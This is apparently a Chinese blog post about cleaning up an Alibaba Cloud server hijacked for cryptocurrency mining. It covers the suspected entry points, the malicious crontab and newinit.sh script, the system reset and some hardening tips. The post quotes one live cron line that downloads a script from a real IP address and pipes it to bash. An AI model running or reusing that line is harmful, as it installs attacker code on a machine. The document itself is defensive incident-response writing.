服務(wù)器被黑客攻擊,用來挖礦!怎么辦?
??????關(guān)注我,和老表一起學Python、云服務(wù)器
哈嘍,大家好,我是老表~
昨天下午一個朋友和我說,他的服務(wù)器被阿里云監(jiān)測出來在挖礦,然后阿里云官方把服務(wù)器給關(guān)停了。

不用急,這個時候最簡單的方法是在阿里云里提一個工單,反饋相關(guān)問題。
解禁服務(wù)器
問題排查
“黑客”是怎么登錄控制我的服務(wù)器的?
找到挖礦程序
簡單分析挖礦程序
清理挖礦程序
服務(wù)器安全防范建議
解禁服務(wù)器
要解決問題、排查刪除挖礦程序,首先我們需要解禁服務(wù)器,登錄阿里云官方平臺后,依次點擊 控制臺-> 個人頭像 -> 安全管控進入相關(guān)頁面。
在處罰列表,我們可以看到相關(guān)處罰記錄,點擊解除封禁后即可正常進入服務(wù)器了。
會有提示,需要在解禁后三日內(nèi)找到挖礦程序,并刪除,否則官方會再次封禁服務(wù)器,而且無法再次進行解封(差不多意思就是,這個服務(wù)器就廢了!直接被官方回收)
問題排查
“黑客”是怎么登錄控制我的服務(wù)器的?
我們首先可以看阿里云提供的漏洞管理監(jiān)測,發(fā)現(xiàn)確實有一個漏洞,提示:Redis 未授權(quán)弱口令。
我網(wǎng)絡(luò)上查了,確實可以通過Redis向系統(tǒng)注入本地公鑰到服務(wù)器的/root/.ssh/authorized_keys中,然后“黑客”就可以在本地免密登錄你的服務(wù)器了。。。
所以,如果你的服務(wù)器上安裝了redis的話,可以首先考慮這個問題,引起這個問題的主要原因一般有:
Redis設(shè)置了可遠程登錄(公網(wǎng)訪問) Redis沒有設(shè)置密碼或者密碼很簡單
所以不是業(yè)務(wù)需求的話,不要開放redis遠程登錄,另外設(shè)置一個較為復雜的、不會在網(wǎng)絡(luò)出現(xiàn)的密碼,開放端口也可以改下,另外還有一個點就是不要用root用戶啟動redis,這樣即使遠程連接上redis,也無法去修改root下權(quán)限了~
具體相關(guān)介紹可以看這篇文章:https://blog.csdn.net/fdl123456/article/details/103932845
上面了了可能是redis弱命令導致了“黑客”有機會登錄我們的服務(wù)器,但我看了,我朋友的服務(wù)器上并沒有安裝redis(也不知道為啥阿里云會檢測出這個漏洞)。。。
那我繼續(xù)找問題,首先需要登錄服務(wù)器,問登錄密碼的時候發(fā)現(xiàn),登錄密碼在(阿里云客服)工單里?有點懵哈哈哈哈。。。
原來我這個朋友,之前因為自己改登錄密碼后沒法遠程連接,所以提工單找過客服幫忙改遠程連接密碼,而客服設(shè)置的密碼應(yīng)該算比較常見Aliyun2021@zSS。。。到目前,個人感覺應(yīng)該是遠程連接密碼被破解/泄漏,導致的挖礦程序侵入。(歡迎大家指正哈)
找到挖礦程序
一般來說,挖礦程序要想一直運行,那么必然會設(shè)置一些定時任務(wù),在linux下一般用cron進行設(shè)置,其中用戶可以使用crontab來設(shè)置定時任務(wù)。
首先我們可以輸入crontab -e編輯root用戶的crontab文件內(nèi)容,看看是否有定時任務(wù);
crontab?-e
(默認是使用vim編輯器,如果要退出編輯模式,可以先按ESC,再輸入:qw 回車即可退出,Linux相關(guān)操作具體可以看擁有有一臺服務(wù)器后,我竟然這么酷?)進入文件編輯,雖然指令不怎么能看懂,但是看到了一個網(wǎng)址、一個ip地址,首先非常確定這個ip不是我目前登錄的這個服務(wù)器的,而且看整理鏈接,應(yīng)該是下載了一個a.sh文件,有點礦味了~
*/30?*?*?*?*?/bin/cdz?-fsSL?http://104.192.82.138/sxxxxx5/a/a.sh?|?bash?>?/dev/null?2>&1
我退出后,他還顯示我沒有修改權(quán)限?他奶奶的~可以使用ls -l /tmp/crontab.LQJ6aT查看文件權(quán)限所屬人,當然可以直接用sudo指令強制修改或者刪除。
我們可以查了下這個IP地址基本信息,可以看到,是一個美國的ip~那就八九不離十了,就是個挖礦的!??!
那我們就繼續(xù)來研究下前面找到的crontab問題,首先進入到/tmp目錄下,查看所有crontab相關(guān)文件內(nèi)容~
發(fā)現(xiàn)有的有,有的沒有,我們直接使用rm -rf 文件名刪除所有相關(guān)文件:
sudo?rm?-rf?crontab.*
我以為應(yīng)該這樣就好了,再次運行crontab -e,發(fā)現(xiàn)會生成新的crontab.*文件,而且自動有挖礦的內(nèi)容~離譜!??!
思前想后,可能是crontab配置的問題,輸入下面指令看看相關(guān)配置文件~果不其然,
cat?/etc/crontab
雖然還是不能完全看懂命令含義,但是看到這個newinit.sh就知道沒好事,
于是在自己云服務(wù)器上看了看,果然不同。
從網(wǎng)絡(luò)上crontab相關(guān)教程也可以看出,我自己的是正常的~
那是不是修改下crontab配置文件就可以了呢?
簡單分析挖礦程序
我們得來看看這個shit的挖礦腳本?。?!從配置文件可以看出這個腳本在/etc/newinit.sh,我們直接使用nano來查看這個文件內(nèi)容,
nano?/etc/newinit.sh
可以看到這個腳本一共有125行代碼~其他看不懂,這個函數(shù)名看懂了kill主進程~
接下來我們來一起看看,他這個腳本都做了些什么(老表我對linux相關(guān)操作并不熟悉,所以以下關(guān)于腳本文件的簡單分析難免會有不正確或者錯誤的地方,敬請大家批評指正,但不可惡意攻擊~):
part one
設(shè)置
ulimit,修改了兩個目錄chattr的權(quán)限,而chattr可用于修改Linux文件系統(tǒng)上的文件屬性,這樣就是為什么之前即使在root用戶下也會顯示無法修改文件的原因。關(guān)閉iptables和ufw防火墻、nmi(不可屏蔽的中斷)看門狗,修改文件目錄權(quán)限為只可追加、刪除tmp、var文件夾中某些文件
part two
這里比較簡單,設(shè)置了一些文件路徑,然后進行一些亂七八糟的mv操作,相當于文件重命名了~
part three
大制作了,卸載阿里云相關(guān)的安全防護,阿里云安騎士aegis。
part four
挖礦程序配置,這個 zzh是一個可執(zhí)行程序,估計就是挖礦程序,newinit.sh就是現(xiàn)在正在簡單分享的挖礦程序腳本,也就是即使我把本地的腳本文件刪除了,如果這里沒刪除,他又會從他自己的服務(wù)器上下載。
part five
這里不太理解,大概在判斷程序指令是否正常?如果不正常就修改文件權(quán)限?有了解的可以補充下哈~
finally
感覺是一個函數(shù),有 {卻沒有},看函數(shù)意思是刪除主程序進程,netstat -anp顯示各種網(wǎng)絡(luò)相關(guān)信息,grep進行ip或者端口查找,定位到行,awk按指定設(shè)置輸出對應(yīng)文本,比如awk '{print $7}'按空格/tab為界限輸出文本中的第七項內(nèi)容,|是管道命令,作用是將左側(cè)命令執(zhí)行結(jié)果作為參數(shù)傳遞給右側(cè)命令執(zhí)行(需要經(jīng)過xargs轉(zhuǎn)換),xargs可以將管道命令的左側(cè)執(zhí)行結(jié)果轉(zhuǎn)換成命令行參數(shù),傳遞給右側(cè)命令執(zhí)行
最后,我又看了下part four中提到的挖礦程序配置里的鏈接,不看不知道,一看嚇一跳,原來這個有996行代碼(是在暗示什么嗎?。。。?/p>
修改了很多系統(tǒng)配置~如果服務(wù)器里要是有什么重要的東西,或者之前配過什么很麻煩的環(huán)境,要修改還是挺麻煩了!
清理挖礦程序
最簡單的方法就是直接重置系統(tǒng),我這里也選擇的這種方法,因為這個朋友服務(wù)器里沒啥要備份的。
如前面所說,如果有很多重要東西和難配置的環(huán)境,你不想花時間備份和再配置一變,你可以選擇根據(jù)挖礦腳本程序去一個個修復他對系統(tǒng)的修改。。。看著996行代碼就覺得心累!
重置系統(tǒng)的話就相對會簡單很多,進入到阿里云控制臺,然后找到對應(yīng)實例,先停止服務(wù)器,然后點擊更多 -> 云盤和鏡像 -> 更換操作系統(tǒng)。
會有一個更換提醒,建議仔細看一遍。
更換操作系統(tǒng)可以選擇和之前一樣的配置,或者其他配置,然后點擊確認訂單即可。
更換成功后,會自動啟動服務(wù)器,我們可以點擊管理控制臺,然后嘗試遠程登錄下。
這里相關(guān)操作和設(shè)置和我們之前分享的擁有有一臺服務(wù)器后,我竟然這么酷?中的介紹基本一致,通過下圖,我們可以看到crontab配置是正常的了。
最后我們可以過一段時間后看看cpu使用情況,可以看到之前基本都是100%使用率,重置系統(tǒng)后,使用率變成了2.6%左右。
服務(wù)器安全防范建議
首先防范的前提是不影響我們使用,甚至所有操作應(yīng)該是方便我們使用的。
1、目前我還是推薦初次接觸或者對云服務(wù)器不熟的讀者朋友使用寶塔面板來登錄、操作服務(wù)器內(nèi)容,具體功能和使用方法,大家可以看我之前的分享Linux里的寶塔,真正的寶塔!詳細教程。
2、所有安裝的應(yīng)用服務(wù),盡量不要使用默認端口號,有密碼的設(shè)置密碼,不要嫌麻煩,可以是用1password.com這個網(wǎng)站生成隨機密碼,我之前也分享過一個腳本~
import?string
import?random
while?True:
????try:
????????password_len?=?int(input('請輸入密碼長度(只能是數(shù)字):'))
????????password?=?''.join(random.choices(string.printable.strip(),?k=password_len))
????????print(f'你的新密碼為:{password},請保存好~')
????except?Exception?as?e:
????????print(f'【出錯啦】看看是不是輸入錯誤吧,可能是輸入了非數(shù)字內(nèi)容,錯誤信息:{e}')
????print('***?想結(jié)束就輸入0吧?。?!***')
????print('***?回車繼續(xù)生成新密碼?***')
????flag?=?input('是否繼續(xù)生成新密碼:')
????if?flag?==?'0':
????????break
????print('******************************************')
3、系統(tǒng)自帶的防火墻、安全防護都不要關(guān)閉~
其他的方法,歡迎大家補充~今天就到這里啦!
堅持 and 努力 :終有所獲。
那么下期見,我是愛貓愛技術(shù),更愛思思的老表???( ˙?˙ )???
近期閱讀學習推薦:
如何在Linux云服務(wù)器安裝其他版本Python環(huán)境,附實戰(zhàn)小程序
如何找到我:




























